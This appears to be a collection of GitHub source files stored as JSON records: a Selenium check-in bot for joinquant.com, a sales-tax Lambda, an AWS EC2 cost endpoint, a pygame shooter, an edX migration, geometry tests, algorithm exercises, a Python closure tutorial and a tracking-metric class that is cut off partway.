+{"seq_id":"35633946535","text":"\n#!/bin/python\n#coding=utf8\n'''\nAuthor: Michael Jin\ndate:2023-10-10\n'''\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\n#import pyautogui\nfrom lxml import etree\nimport urllib\nimport requests\nimport os\nimport time\nimport base64\nimport random\nfrom configparser import ConfigParser\nfrom notification import notify\nfrom notification import load_config\n\n\ndef load_config():#加载配置文件\n conf=ConfigParser()\n if os.name=='nt':\n# path='K:/config.ini'\n path=r'D:\\Downloads\\PortableGit-2.36.1-64-bit.7z\\bin\\Quat\\config.ini'\n elif os.name=='posix':\n path='/usr/local/src/Quat/config.ini'\n else:\n print('no config file was found!')\n\n conf.read(path,encoding=\"utf-8\")\n return conf\n\ndef Driver():\n #Chrom的配置\n options = webdriver.ChromeOptions()\n# options.add_argument(\"--proxy-server=http://192.168.2.108:8889\")\n# options.add_argument(\"--no-proxy-server\")\n options.add_argument(\"--headless\")\n# options.add_argument('user-agent=\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36\"')\n# options.add_argument('user-agent=\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36\"')\n# options.add_argument('user-agent=Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36')\n options.add_argument('log-level=3') #INFO = 0 WARNING = 1 LOG_ERROR = 2 LOG_FATAL = 3 default is 0\n options.add_experimental_option(\"excludeSwitches\", [\"enable-automation\"])\n options.add_experimental_option('useAutomationExtension', False)\n \n# Chrome的驱动和路径\n# path=\"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\"\n# driver=webdriver.Chrome(chrome_options=options,executable_path=path)\n# driver=webdriver.Chrome(path,chrome_options=options)\n driver=webdriver.Chrome(chrome_options=options)\n driver.maximize_window()\n #driver.set_page_load_timeout(10)\n #driver.set_script_timeout(10)\n print('starting')\n return driver\n\n\n###关闭当前标签并返回最新标签\ndef close_update(driver):\n windows = driver.window_handles\n driver.switch_to.window(windows[-1])#切换当前标签\n driver.close()\n windows = driver.window_handles\n driver.switch_to.window(windows[-1])#切换当前标签\n return driver\n\n\n\ndef login(driver,username,passwd,dry_run='NO'):\n url='https://joinquant.com/'\n driver.get(url)\n time.sleep(3)\n #进行登录\n driver.find_element(By.XPATH,'//button[@class=\"banner-login show-dialog-login\"]').click()#点击登录\n time.sleep(1)\n driver.find_element(By.XPATH,'//input[@name=\"CyLoginForm[username]\"]').send_keys(username)\n driver.find_element(By.XPATH,'//input[@name=\"CyLoginForm[pwd]\"]').send_keys(passwd)\n driver.find_element(By.XPATH,'//button[@class=\"login-submit btnPwdSubmit\"]').click()\n time.sleep(1)\n\n if dry_run=='NO':\n try:\n driver.find_element(By.XPATH,'//button[@class=\"el-button menu-credit-button el-button--primary\"]').click()#签到\n print(f'{username}签到成功')\n except:\n print('签到失败')\n \n #获取阅读文章积分\n center='https://joinquant.com/view/user/floor?type=creditsdesc'\n driver.get(center)#回到积分中心\n time.sleep(1)\n try:\n driver.find_element(By.XPATH,'//a[@href=\"/./view/community/list?listType=1\"]/button').click()#去看看\n except:\n print('已经领取过阅读积分')\n windows = driver.window_handles\n driver.switch_to.window(windows[1])#切换第二个标签\n comm_url='https://www.joinquant.com/view/community/list?listType=1'\n time.sleep(5)\n\n num=len(driver.find_elements(By.XPATH,'//div[@class=\"jq-c-list_community__text\"]'))#获取主题的数量\n i=random.randint(3,num)\n print(f'主题总数：{num},阅读随机文章{i}')\n time.sleep(1)\n driver.find_elements(By.XPATH,'//div[@class=\"jq-c-list_community__text\"]')[i].click()#随机点击文章查看\n time.sleep(9)\n driver=close_update(driver)\n driver.get(center)#回到积分中心\n time.sleep(3)\n if dry_run=='NO':\n try:\n driver.find_element(By.XPATH,'//button[@class=\"el-button el-button--primary el-button--mini\"]').click()#领取阅读积分\n time.sleep(1)\n print(f'{username}领取阅读积分')\n except:\n print('领取失败')\n \n# point=driver.find_element(By.XPATH,'//div[@class=\"jq-user-floor__div-item\"][1]/text()')\n# print(f'当前积分{point}')\n #关闭多余标签\n# while True:\n# windows = driver.window_handles\n# if len(windows)==1:\n# driver.switch_to.window(windows[-1])#切换当前标签\n# break\n# else:\n# driver.switch_to.window(windows[-1])#切换当前标签\n# driver.close()\n \n driver.quit()\n\n\ndef auto_check():\n conf=load_config()\n accounts=conf.options('jq')#获取jq这个section下的items\n# print(accounts)#调试用\n for item in accounts:\n driver=Driver()\n print(f'正在处理{item}')\n token=conf.get('jq',item)\n string=base64.b64decode(token).decode('ascii')\n string=string.split(' ')\n username=string[0]\n passwd=string[1]\n login(driver,username,passwd,dry_run='NO')\n \n\nif __name__ == '__main__':\n auto_check()\n","repo_name":"jinjiachen/Quat","sub_path":"jq.py","file_name":"jq.py","file_ext":"py","file_size_in_byte":5518,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"12444387113","text":"def calculate_imported(price, imported):\n return round((price * 0.05), 1) if imported else 0.0\n\n\ndef calculate_tax(price):\n return price * 0.10\n\n\ndef process_items(items):\n sales_taxes = 0.0\n total = 0.0\n try:\n for item in items['items']:\n if item['specialproduct']:\n item_taxes = calculate_imported(\n item['price'], item['imported']) * item['qty']\n sales_taxes += item_taxes\n else:\n item_taxes = calculate_tax(item['price']) * item['qty'] + calculate_imported(\n item['price'], item['imported']) * item['qty']\n sales_taxes += item_taxes\n item['price'] = round(item['price'] * item['qty'] + item_taxes, 2)\n total += item['price']\n items['SalesTaxes'] = round(sales_taxes, 2)\n items['Total'] = total\n return {\n 'statusCode': 200,\n 'body': items\n }\n except:\n return {\n 'statusCode': 500,\n 'body': \"Invalid Request\"\n }\n\n\ndef lambda_handler(event, context):\n return process_items(event)\n","repo_name":"federfana/sales-taxes-calculator","sub_path":"salesCalculator.py","file_name":"salesCalculator.py","file_ext":"py","file_size_in_byte":1138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18666171577","text":"import sys\n\nimport boto3\nfrom fastapi import APIRouter\nfrom yaml import safe_load_all\nfrom fastapi import HTTPException\n\nfrom essentials import get_svc_cfg\nfrom services.sps import estimate_savings\nfrom services.customers import get_customer_creds\nfrom services.ec2 import ec2_instances, img_info\n\nrouter = APIRouter()\n\n\n@router.get('/v1/ec2/overview')\nasync def ec2_oview(\n customer: str,\n commission: float = 0.36,\n upfront: str = 'full',\n period: str = 'long',\n dry: bool = False,\n):\n cfg = get_svc_cfg()\n cc = get_customer_creds(customer)\n if not cc['request']:\n raise HTTPException(\n status_code=404,\n detail=cc\n )\n cln_ec2 = boto3.client(\n 'ec2',\n region_name=cfg['region'],\n aws_access_key_id=cc['key'],\n aws_secret_access_key=cc['secret'],\n )\n\n ec2_dat: list = []\n\n ins_dat = ec2_instances(cln_ec2)\n all_images = [ins['ImageId'] for ins in ins_dat]\n img_dat = img_info(cln_ec2, all_images)\n for ins in ins_dat:\n ins['image_info'] = img_dat[ins['ImageId']]\n x_estimates = estimate_savings(\n commission=commission,\n period=period,\n upfront=upfront,\n sp='EC2Instance',\n svc='EC2',\n product_desc=ins['image_info']['PlatformDetails'],\n region=cfg['region'],\n tenancy='shared',\n itype=ins['InstanceType'] if not dry else 't3.large',\n )\n ins['estimates'] = x_estimates\n ec2_dat.append(ins)\n\n present_d_xp: float = 0\n present_m_xp: float = 0\n provider_d_est: float = 0\n provider_m_est: float = 0\n\n for ec2 in ec2_dat:\n present_d_xp += ec2['estimates']['PresentDailyExpense']\n provider_m_est += ec2['estimates']['ProviderMonthlyEstimate']\n provider_d_est += ec2['estimates']['ProviderDailyEstimate']\n present_m_xp += ec2['estimates']['PresentMonthlyExpense']\n\n return {\n 'PresentDailyExpense': present_d_xp,\n 'ProviderDailyEstimate': provider_d_est,\n 'PresentMonthlyExpense': present_m_xp,\n 'ProviderMonthlyEstimate': provider_m_est,\n 'TotalInstancesIdentified': len(ec2_dat)\n }\n","repo_name":"n-raghu/KnowledgeBase","sub_path":"aws/CloudLoops/handlers/api_fetch_customer_overview.py","file_name":"api_fetch_customer_overview.py","file_ext":"py","file_size_in_byte":2201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"1100673324","text":"import utils\r\nimport pygame\r\nimport math\r\nimport random\r\n\r\nclass Actor:\r\n\tdef __init__(self, x, y):\r\n\t\t# 位置座標\r\n\t\t(self.x, self.y) = (x, y)\r\n\t\t# 移動スピード\r\n\t\tself.speed = 12\r\n\t\t# 大きさ\r\n\t\tself.size = 48\r\n\t\t# 体力\r\n\t\tself.HP = 10\r\n\t\t# 弾を格納するリスト\r\n\t\tself.bullets = []\r\n\t\t# カウント変数\r\n\t\tself.time = 0\r\n\r\nclass Player(Actor):\r\n\tdef __init__(self, x, y):\r\n\t\tsuper().__init__(x, y)\r\n\t\t# ターゲットの座標\r\n\t\t(self.target_x, self.target_y) = (x, y)\r\n\t\t# プレイヤー画像\r\n\t\tself.img = utils.Image.img_player\r\n\t\tself.img = pygame.transform.scale(self.img, (self.size, self.size))\r\n\t\t# ターゲット画像\r\n\t\tself.img_target = utils.Image.img_target\r\n\t\tself.img_target = pygame.transform.scale(self.img_target, (self.size, self.size))\r\n\t\t# 体力バー画像\r\n\t\tself.img_bar1 = utils.Image.img_bar[0]\r\n\t\tself.img_bar1 = pygame.transform.scale(self.img_bar1, (160, 48))\r\n\t\tself.img_bar2 = utils.Image.img_bar[1]\r\n\t\tself.img_bar2 = pygame.transform.scale(self.img_bar2, (131, 27))\r\n\t\r\n\tdef draw(self, screen):\r\n\t\t# 弾を描画\r\n\t\tfor b in self.bullets:\r\n\t\t\tb.draw(screen)\r\n\t\t\r\n\t\t# プレイヤーを描画\r\n\t\tif self.HP > 0:\r\n\t\t\trotate_img = pygame.transform.rotate(self.img, self.getAngle())\r\n\t\t\timg_rect = rotate_img.get_rect()\r\n\t\t\timg_rect.center = (self.x, self.y)\r\n\t\t\tscreen.blit(rotate_img, img_rect)\r\n\t\t\r\n\t\t# HPバー描画\r\n\t\tself.img_bar2 = pygame.transform.scale(self.img_bar2, (int(13.1 * self.HP), 27))\r\n\t\tscreen.blit(self.img_bar1, [0, 0])\r\n\t\tscreen.blit(self.img_bar2, [15, 11])\r\n\t\t\r\n\t\t# 的の描画\r\n\t\tscreen.blit(self.img_target, [self.target_x - self.size / 2, self.target_y - self.size / 2])\r\n\t\t\r\n\t\t# HPが減ったときに画面に警告\r\n\t\r\n\tdef update(self, key, win_w, win_h):\r\n\t\tself.time += 1\r\n\t\tfor b in self.bullets:\r\n\t\t\tb.move()\r\n\t\tif self.HP > 0:\r\n\t\t\tself.move(key, win_w, win_h)\r\n\t\t\tself.shot()\r\n\t\tself.set_target_pos()\r\n\t\tself.clean_bullet(win_w, win_h)\r\n\t\r\n\t# 的の座標取得\r\n\tdef set_target_pos(self):\r\n\t\tself.target_x, self.target_y = pygame.mouse.get_pos()\r\n\t\r\n\t# 的とプレイヤーの角度を取得\r\n\tdef getAngle(self):\r\n\t\treturn math.degrees(math.atan2(self.target_x - self.x, self.target_y - self.y)) + 180\r\n\t\r\n\t# 移動\r\n\tdef move(self, key, win_w, win_h):\r\n\t\tif key[pygame.K_RIGHT] == 1:\r\n\t\t\tself.x += self.speed\r\n\t\tif key[pygame.K_LEFT] == 1:\r\n\t\t\tself.x -= self.speed\r\n\t\tif key[pygame.K_UP] == 1:\r\n\t\t\tself.y -= self.speed\r\n\t\tif key[pygame.K_DOWN] == 1:\r\n\t\t\tself.y += self.speed\r\n\t\t# 移動制限\r\n\t\tif self.x < 0:\r\n\t\t\tself.x = 0\r\n\t\telif self.x > win_w:\r\n\t\t\tself.x = win_w\r\n\t\tif self.y < 0:\r\n\t\t\tself.y = 0\r\n\t\telif self.y > win_h:\r\n\t\t\tself.y = win_h\r\n\t\r\n\t# 射撃\r\n\tdef shot(self):\r\n\t\tclick = pygame.mouse.get_pressed()\r\n\t\tif click[0]:\r\n\t\t\tif self.time % 5 == 0:\r\n\t\t\t\tself.bullets.append(Bullet(self.x, self.y, self.getAngle()))\r\n\t\r\n\t# 弾削除\r\n\tdef clean_bullet(self, win_w, win_h):\r\n\t\tfor b in self.bullets[:]:\r\n\t\t\tif b.delete(win_w, win_h):\r\n\t\t\t\tself.bullets.remove(b)\r\n\t\r\n\tdef damage(self, num):\r\n\t\tself.HP -= num\r\n\t\tif self.HP < 0:\r\n\t\t\tself.HP = 0\r\n\t\r\nclass Enemy(Actor):\r\n\tdef __init__(self, x, y):\r\n\t\tsuper().__init__(x, y)\r\n\t\tself.speed = 8\r\n\t\t# 敵画像\r\n\t\timage = utils.Image.img_enemies[random.randint(0, 3)]\r\n\t\tself.img = pygame.transform.scale(image, (self.size, self.size))\r\n\t\r\n\tdef draw(self, screen, player):\r\n\t\trotate_img = pygame.transform.rotate(self.img, self.getAngle(player))\r\n\t\timg_rect = rotate_img.get_rect()\r\n\t\timg_rect.center = (self.x, self.y)\r\n\t\tscreen.blit(rotate_img, img_rect)\r\n\t\r\n\t# 移動\r\n\tdef move(self, player):\r\n\t\tif player.HP > 0:\r\n\t\t\t# 敵→プレイヤーのベクトルを計算\r\n\t\t\t(vx, vy) = (player.x - self.x, player.y - self.y)\r\n\t\t\tl = math.sqrt(vx * vx + vy * vy)\r\n\t\t\t# ベクトルを正規化\r\n\t\t\tif l == 0:\r\n\t\t\t\t(vx, vy) = (0, 0)\r\n\t\t\telse:\r\n\t\t\t\t(vx, vy) = (vx / l, vy / l)\r\n\t\t\t(self.x, self.y) = (self.x + vx * self.speed, self.y + vy * self.speed)\r\n\t\r\n\t# プレイヤーとの角度を取得\r\n\tdef getAngle(self, player):\r\n\t\treturn math.degrees(math.atan2(player.x - self.x, player.y - self.y)) + 180\r\n\t\r\n\t# プレイヤーとの当たり判定\r\n\tdef collision(self, player, screen):\r\n\t\tif (player.x - player.size / 2) < self.x and (player.x + player.size / 2) > self.x and (player.y - player.size / 2) < self.y and (player.y + player.size / 2) > self.y:\r\n\t\t\tself.HP = 0\r\n\t\t\tplayer.damage(1)\r\n\t\t\tscreen.fill((255, 0, 0))\r\n\t\r\n\t\r\n\r\nclass Bullet:\r\n\tSpeed = 16 # 弾の速度\r\n\tSize = 20 # 弾の大きさ\r\n\t\r\n\tdef __init__(self, x, y, angle):\r\n\t\t# 位置座標\r\n\t\t(self.x, self.y) = (x, y)\r\n\t\t# 発射位置\r\n\t\t(self.ax, self.ay) = (x, y)\r\n\t\t# 半径\r\n\t\tself.rad = 0\r\n\t\t# 発射角度\r\n\t\tself.angle = angle * -1 - 90\r\n\t\timage = utils.Image.img_bullet\r\n\t\tself.img = pygame.transform.scale(image, (Bullet.Size, Bullet.Size))\r\n\t\r\n\tdef draw(self, screen):\r\n\t\tscreen.blit(self.img, [self.x - Bullet.Size / 2, self.y - Bullet.Size / 2])\r\n\t\r\n\t# 弾の軌道\r\n\tdef move(self):\r\n\t\t(self.x, self.y) = (self.rad * math.cos(math.radians(self.angle)) + self.ax, self.rad * math.sin(math.radians(self.angle)) + self.ay)\r\n\t\tself.rad += Bullet.Speed\r\n\t\r\n\t# 弾の削除\r\n\tdef delete(self, win_w, win_h):\r\n\t\tif self.x < -Bullet.Size or self.y < -Bullet.Size:\r\n\t\t\treturn True\r\n\t\telif self.x > win_w + Bullet.Size or self.y > win_h + Bullet.Size:\r\n\t\t\treturn True\r\n\t\treturn False\r\n\t\r\n\t# 弾の当たり判定\r\n\tdef collision(self, actor):\r\n\t\tif (actor.x - actor.size / 2) < self.x and (actor.x + actor.size / 2) > self.x and (actor.y - actor.size / 2) < self.y and (actor.y + actor.size / 2) > self.y:\r\n\t\t\treturn True\r\n\t\treturn False\r\n","repo_name":"IRiChaaaaan/PyShooting-alldirection","sub_path":"all-direction-shooting/actors.py","file_name":"actors.py","file_ext":"py","file_size_in_byte":5578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12604302233","text":"from django.conf import settings\nfrom django.db import migrations, models\nfrom opaque_keys.edx.django.models import CourseKeyField\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='CourseAuthorization',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('course_id', CourseKeyField(unique=True, max_length=255, db_index=True)),\n ('email_enabled', models.BooleanField(default=False)),\n ],\n ),\n migrations.CreateModel(\n name='CourseEmail',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('slug', models.CharField(max_length=128, db_index=True)),\n ('subject', models.CharField(max_length=128, blank=True)),\n ('html_message', models.TextField(null=True, blank=True)),\n ('text_message', models.TextField(null=True, blank=True)),\n ('created', models.DateTimeField(auto_now_add=True)),\n ('modified', models.DateTimeField(auto_now=True)),\n ('course_id', CourseKeyField(max_length=255, db_index=True)),\n ('to_option', models.CharField(default='myself', max_length=64, choices=[('myself', 'Myself'), ('staff', 'Staff and instructors'), ('all', 'All')])),\n ('template_name', models.CharField(max_length=255, null=True)),\n ('from_addr', models.CharField(max_length=255, null=True)),\n ('sender', models.ForeignKey(default=1, blank=True, to=settings.AUTH_USER_MODEL, null=True, on_delete=models.CASCADE)),\n ],\n ),\n migrations.CreateModel(\n name='CourseEmailTemplate',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('html_template', models.TextField(null=True, blank=True)),\n ('plain_template', models.TextField(null=True, blank=True)),\n ('name', models.CharField(max_length=255, unique=True, null=True, blank=True)),\n ],\n ),\n migrations.CreateModel(\n name='Optout',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('course_id', CourseKeyField(max_length=255, db_index=True)),\n ('user', models.ForeignKey(to=settings.AUTH_USER_MODEL, null=True, on_delete=models.CASCADE)),\n ],\n ),\n migrations.AlterUniqueTogether(\n name='optout',\n unique_together={('user', 'course_id')},\n ),\n ]\n","repo_name":"openedx/edx-platform","sub_path":"lms/djangoapps/bulk_email/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":2912,"program_lang":"python","lang":"en","doc_type":"code","stars":6774,"dataset":"github-code","pt":"3"} +{"seq_id":"71051889682","text":"import unittest\nfrom .geometry import *\nfrom .transformations import *\nfrom math import cos, sin, pi\n\n\nclass TestGeometry(unittest.TestCase):\n def test_point_translation(self):\n point = Point(1, 2)\n matrix = translation_matrix(Point(-3, 5))\n transformed = point.transform(matrix)\n self.assertEqual(transformed, Point(-2, 7))\n\n def test_point_rotation(self):\n angle = 30\n rad = pi/180 * angle\n point = Point(1, 0)\n matrix = rotation_matrix(angle)\n transformed = point.transform(matrix)\n self.assertEqual(transformed, Point(cos(rad), sin(rad)))\n\n matrix = rotation_around_object_matrix(point, angle)\n transformed_around = point.transform(matrix)\n # should be equal because it is a point\n self.assertEqual(point, transformed_around)\n\n def test_polygon_edges(self):\n a = Point(0, 0)\n b = Point(2, 0)\n c = Point(1, 1)\n poly = Polygon(a, b, c)\n x, y, z = poly.edges()\n self.assertEqual(x, Line(a, b))\n self.assertEqual(y, Line(b, c))\n self.assertEqual(z, Line(c, a))\n self.assertEqual(x.begin.x, a.x)\n self.assertEqual(x.begin.y, a.y)\n self.assertEqual(x.end, b)\n\n def test_line_intersection(self):\n a = Point(10, 10)\n b = Point(-10, 0)\n line = Line(a, b)\n intersection = line.horizontal_intersection(0)\n self.assertEqual(intersection, Point(0, 5))\n intersection = line.vertical_intersection(0)\n self.assertEqual(intersection, Point(-10, 0))\n\n vertical_line = InfiniteLine(1, 0, 0)\n intersection = vertical_line.intersection(line)\n self.assertEqual(intersection, Point(0, 5))\n horizontal_line = InfiniteLine(0, 1, 0)\n intersection = horizontal_line.intersection(line)\n self.assertEqual(intersection, Point(-10, 0))\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"caetanoct/computer-graphics","sub_path":"engine2d/world/test_geometry.py","file_name":"test_geometry.py","file_ext":"py","file_size_in_byte":1774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"37977966642","text":"def leiaint(msg):\n ok = False\n while True:\n l = str(input(msg))\n if l.isnumeric():\n l = int(l)\n ok = True\n else:\n print('\\033[0;31mERRO! Digite um número inteiro válido.\\033[m')\n if ok:\n break\n return l\n\nn = leiaint('Digite um número: ')\nprint(f'Você acabou de digitar o número {n}')","repo_name":"Pedroorafa/PythonExercises","sub_path":"ex104.py","file_name":"ex104.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32322809233","text":"import cv2\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\nimg = cv2.imread('cat.jpg')\n\n# from 450 to 1050 = 600px\n# from 90 to 400 = 310px\n\n# get the cat face\ncatface = img[100:500, 700:1100]\nimg[0:catface.shape[0],0:catface.shape[1]] = catface\nprint(catface.shape)\n#plt.imshow(img);\n#plt.show();\n\n# our cat face\n# cv2.imwrite('catface.png', catface)\n\n# create border for cat\ncatface = cv2.copyMakeBorder(catface,value=(100,181,246),top=10,bottom=10,left=10,right=10,borderType=cv2.BORDER_CONSTANT)\ncatface = cv2.copyMakeBorder(catface,value=(66,165,245),top=10,bottom=10,left=10,right=10,borderType=cv2.BORDER_CONSTANT)\ncatface = cv2.copyMakeBorder(catface,value=(33,150,243),top=10,bottom=10,left=10,right=10,borderType=cv2.BORDER_CONSTANT)\n\ncv2.imwrite('catface.png',catface)\nplt.imshow(catface)\nplt.show()","repo_name":"ttpro1995/practice_opencv","sub_path":"CoreFunction/basic_operation.py","file_name":"basic_operation.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"72426967120","text":"from django import forms\nfrom Application.models import Applicant\nfrom django.forms import ModelForm\n\nclass ApplicantForm(ModelForm):\n first_name = forms.CharField(max_length=100)\n last_name = forms.CharField(max_length=100)\n email = forms.EmailField()\n class Meta:\n model = Applicant\n exclude = ['user', 'date_submitted']\n fields = ['first_name', 'last_name', 'phone_number', 'email', 'Grade', 'statement_of_interest']\n\n def __init__(self, *args, **kwargs):\n super(ApplicantForm, self).__init__(*args, **kwargs)\n instance = getattr(self, 'instance', None)\n if instance and instance.pk:\n self.fields['user'].required = False\n self.fields['user'].widget.attrs['disabled'] = True\n self.fields['date_submitted'].disabled = True\n self.fields['old'].widget = forms.HiddenInput()\n","repo_name":"jdriscoll98/aoiisem","sub_path":"Application/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32893866804","text":"from functools import lru_cache\n\n# Keep a dictionary with game states that have been processed before and constantly check it?\n# I will store the outcomes of the game in the dictionary for each game object\n# 4517662813452 is too low\n# Getting big numbers as answers but they are off by about a factor of 100 I think, not sure why this is the case\n# Answer should be about 15 digits long\n# 121862889550792 is also too low\n# 131888061854776 was the right answer, I had to look at someone else's answer to see if I could find the error, in the end I found it myself\n# For some reason the approach I was trying with global variables wasn't working, I am going to try to implement my original method in a second python file (day21_pt2original.py)\n\n# The p1 score is first, then the p2 score, then the p1 position, then the p2 position, then the turn(1 means p1, 0 means p2), then the weight(occurances of this position)\nweights = [1,3,6,7,6,3,1]\n\n@lru_cache(maxsize=None)\ndef process(firstScore, secondScore, firstPos, secondPos, turn, occurs):\n\n if firstScore >= 21:\n return [occurs, 0]\n if secondScore >= 21:\n return [0, occurs]\n\n global weights\n # This should hypothetically work as i iterates up to 7 making the numbers 3 to 9 as desired\n if turn:\n values = [process(firstScore + (firstPos + i + 3)%10 + 1, secondScore, (firstPos + i + 3)%10, secondPos, 0, occurs * weights[i]) for i in range(7)]\n else:\n values = [process(firstScore, secondScore + (secondPos + i + 3)%10 + 1, firstPos, (secondPos + i + 3)%10, 1, occurs * weights[i]) for i in range(7)]\n return [sum(i[0] for i in values), sum(i[1] for i in values)]\n\np1Wins, p2Wins = process(0,0,1,4,1,1)\nprint(max(p1Wins, p2Wins))","repo_name":"ChairmanFMao/adventOfCode2021","sub_path":"day21_pt2.py","file_name":"day21_pt2.py","file_ext":"py","file_size_in_byte":1730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"17362842291","text":"from collections import deque\n\nN, M = map(int, input().split())\n\narr = [list(map(int, input().split())) for _ in range(N)]\ndx = [-1, 1, 0, 0, -1, 1, -1, 1]\ndy = [0, 0, -1, 1, -1, 1, 1, -1]\n\nresult = 0\n\n\ndist = [[0] * M for _ in range(N)]\n\n\ndef bfs(x, y):\n q = deque([(x, y)])\n visited = [[False] * M for _ in range(N)]\n visited[x][y] = True\n\n while q:\n px, py = q.popleft()\n\n for i in range(8):\n nx, ny = px + dx[i], py + dy[i]\n\n if 0 <= nx < N and 0 <= ny < M and not visited[nx][ny]:\n if arr[nx][ny] == 0:\n q.append((nx, ny))\n dist[nx][ny] = dist[px][py]+1 if not dist[nx][ny] else min(dist[px][py]+1, dist[nx][ny])\n\n visited[nx][ny] = True\n\n\nfor i in range(N):\n for j in range(M):\n if arr[i][j] == 1:\n bfs(i, j)\n\n\nprint(max(map(max, dist)))","repo_name":"MINJU-KIMmm/EFUB-Algorithm-Challenge","sub_path":"MINJU-KIMmm/src/BOJ/bfs/No17086_아기상어2.py","file_name":"No17086_아기상어2.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"24163552412","text":"def calc_sum(*args):\n ax=0\n for n in args:\n ax=ax+n\n return ax\ncalc_sum(1,2,3,4,5)\n# 但是，如果不需要立刻求和���而是在后面的代码中，根据需要再计算怎么办？可以不返回求和的结果，而是返回求和的函数：\ndef lazy_sum(*args):\n def sum():\n ax=0\n for n in args:\n ax=ax+n\n return ax\n return sum\n\nf=lazy_sum(1,2,3,4)\n# 知识调用f得到的是sum方法，而不是计算结果\nprint(f)\n\n# 返回sum函数的调用结果\nprint(f())\n\n\n# 在这个例子中，我们在函数lazy_sum中又定义了函数sum，并且，内部函数sum可以引用外部函数lazy_sum的参数和局部变量，当lazy_sum返回函数sum时，相关参数和变量都保存在返回的函数中，这种称为“闭包（Closure）”的程序结构拥有极大的威力。\n\n# 请再注意一点，当我们调用lazy_sum()时，每次调用都会返回一个新的函数，即使传入相同的参数：\nf1=lazy_sum(1,2,3)\nf2=lazy_sum(1,2,3)\n# 两个函数的内存地址是不一样的，所以是false\nprint(f1==f2)\n\n# 闭包\n\n# 注意到返回的函数在其定义内部引用了局部变量args，所以，当一个函数返回了一个函数后，其内部的局部变量还被新函数引用，所以，闭包用起来简单，实现起来可不容易。\n\n# 另一个需要注意的问题是，返回的函数并没有立刻执行，而是直到调用了f()才执行。我们来看一个例子：\ndef count():\n fs=[]\n for i in range(1,4):\n def f():\n return i*i\n fs.append(f)\n return fs\n#fs这个list里面存的是三个函数，循环完毕以后的i就是3，所以f(3),f(3),f(3)\n\nf1,f2,f3=count()\nprint(f1())\nprint(f2())\nprint(f3())\n\n# 全部都是9！原因就在于返回的函数引用了变量i，但它并非立刻执行。等到3个函数都返回时，它们所引用的变量i已经变成了3，因此最终结果为9。\n\n# 返回闭包时牢记的一点就是：返回函数不要引用任何循环变量，或者后续会发生变化的变量。\n\n# 如果一定要引用循环变量怎么办？方法是再创建一个函数，用该函数的参数绑定循环变量当前的值，无论该循环变量后续如何更改，已绑定到函数参数的值不变：\n\ndef count1():\n def f(j):\n def g():\n return j*j\n return g\n fs=[]\n for i in range(1,4):\n fs.append(f(i)) # f(i)立刻被执行，因此i的当前值被传入f()\n return fs\n\nf3,f4,f5=count1()\nprint(f3())\nprint(f4())\nprint(f5())\n\n# 缺点是代码较长，可利用lambda函数缩短代码。","repo_name":"Gabrielkaliboy/demo","sub_path":"markdown/python_liaoxuefeng_3.5_2/7.6.py","file_name":"7.6.py","file_ext":"py","file_size_in_byte":2625,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"24705299587","text":"from typing import Dict, List\n\nimport numpy as np\nfrom cv_eval_metrics.config import TMetricConfig\nfrom cv_eval_metrics.base import BaseMetric\nfrom scipy.optimize import linear_sum_assignment\n\n\nclass HOTA(BaseMetric):\n \"\"\"Class which implements the HOTA metrics\"\"\"\n @property\n def metric_fields(self) -> List:\n return self._metric_fields\n\n def __init__(self) -> None:\n super().__init__()\n self.__array_labels = np.arange(0.05, 0.99, 0.05)\n self.__metric_supp_list = ['HOTA_TP', 'HOTA_FN', 'HOTA_FP']\n self._metric_fields = ['HOTA', 'DetA', 'AssA', 'DetRe', 'DetPr', 'AssRe', 'AssPr', 'LocA', 'RHOTA']\n\n def compute(self, cfg: TMetricConfig) -> Dict:\n metric_dict = {}\n for field in self.metric_fields + self.__metric_supp_list:\n metric_dict[field] = np.zeros((len(self.__array_labels)), dtype=np.float)\n\n # Return result quickly if pred_ids_t or gt sequence is empty\n if cfg.pred_dets_cnt == 0:\n metric_dict['HOTA_FN'] = cfg.gt_dets_cnt * np.ones((len(self.__array_labels)), dtype=np.float)\n metric_dict['LocA'] = 